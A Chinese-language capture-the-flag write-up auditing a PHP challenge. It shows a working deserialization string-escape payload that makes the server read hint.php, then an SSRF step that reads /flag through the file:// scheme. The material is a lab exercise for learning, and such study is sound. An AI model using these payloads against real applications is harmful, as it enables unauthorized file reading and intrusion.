代码审计
<?php
// php版本:5.4.44
header("Content-type: text/html; charset=utf-8");
highlight_file(__FILE__);
class evil{
public $hint;
public function __construct($hint){
$this->hint = $hint;
}
public function __destruct(){
if($this->hint==="hint.php")
@$this->hint = base64_encode(file_get_contents($this->hint));
var_dump($this->hint);
}
function __wakeup() {
if ($this->hint != "╭(●`∀´●)╯") {
//There's a hint in ./hint.php
$this->hint = "╰(●’◡’●)╮";
}
}
}
class User
{
public $username;
public $password;
public function __construct($username, $password){
$this->username = $username;
$this->password = $password;
}
}
function write($data){
global $tmp;
$data = str_replace(chr(0).'*'.chr(0), '\0\0\0', $data);
$tmp = $data;
}
function read(){
global $tmp;
$data = $tmp;
$r = str_replace('\0\0\0', chr(0).'*'.chr(0), $data);
return $r;
}
$tmp = "test";
$username = $_POST['username'];
$password = $_POST['password'];
$a = serialize(new User($username, $password));
if(preg_match('/flag/is',$a))
die("NoNoNo!");
unserialize(read(write($a)));
两个类一个evil和User,evil中的__destruct()魔术方法会在结束时读取$hit文件内容并base64编码输出
两个函数write和read
write:将chr(0).'*'.chr(0)替换成\0\0\0
read:将\0\0\0替换成chr(0).'*'.chr(0)
$a = serialize(new User($username, $password));
if(preg_match('/flag/is',$a))
die("NoNoNo!");
unserialize(read(write($a)));
将post传入的username和password序列化一个User类
过滤flag,is
再反序列化
构造payload
本来想着用pop链User->evil结束时读取hint.php的值
<?php
class evil{
public $hint;
}
class User{
public $username;
public $password;
}
$a=new evil();
$a->hint="hint.php";
$b =new User();
$b->username=$a;
$b->password='123';
$payload=serialize($evil);
正常写法应该让username等于对象$a,但是现在不是直接反序列化,而是先序列化一个User类,
就需要再post传参$a给username,众所周知对象是不能直接打印的,所以这个思路直接放弃
只能利用read函数的php反序列逃逸
read:将\0\0\0替换成chr(0).'*'.chr(0),\0\0\0是六个,chr(0).'*'.chr(0)是三个,一替换就逃逸了三个字符
user类序列化后是
O:4:"User":2:{s:8:"username";s:1:"1";s:8:"password";s:1:"1";}
需要逃逸到password的值才可以随意操控,也就是需要逃逸";s:8:"password";s:1:"这23个字符
也就是需要三组\0\0\0逃逸24个字符,多出的字符在password值的前面随便加一个字符
password的值应该为a";O:4:"evil":2:{s:4:"hint";s:8:"hint.php";}
paload
username=\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0&password=a";O:4:"evil":2:{s:4:"hint";s:8:"hint.php";}
然后出现base64编码的字符串,解码内容是
访问/index.cgi,然后是这个页面
ssrf
利用file协议读取根目录下flag
name= file:///flag
前面加一个空格,看了别的wp说命令是curl file:///flag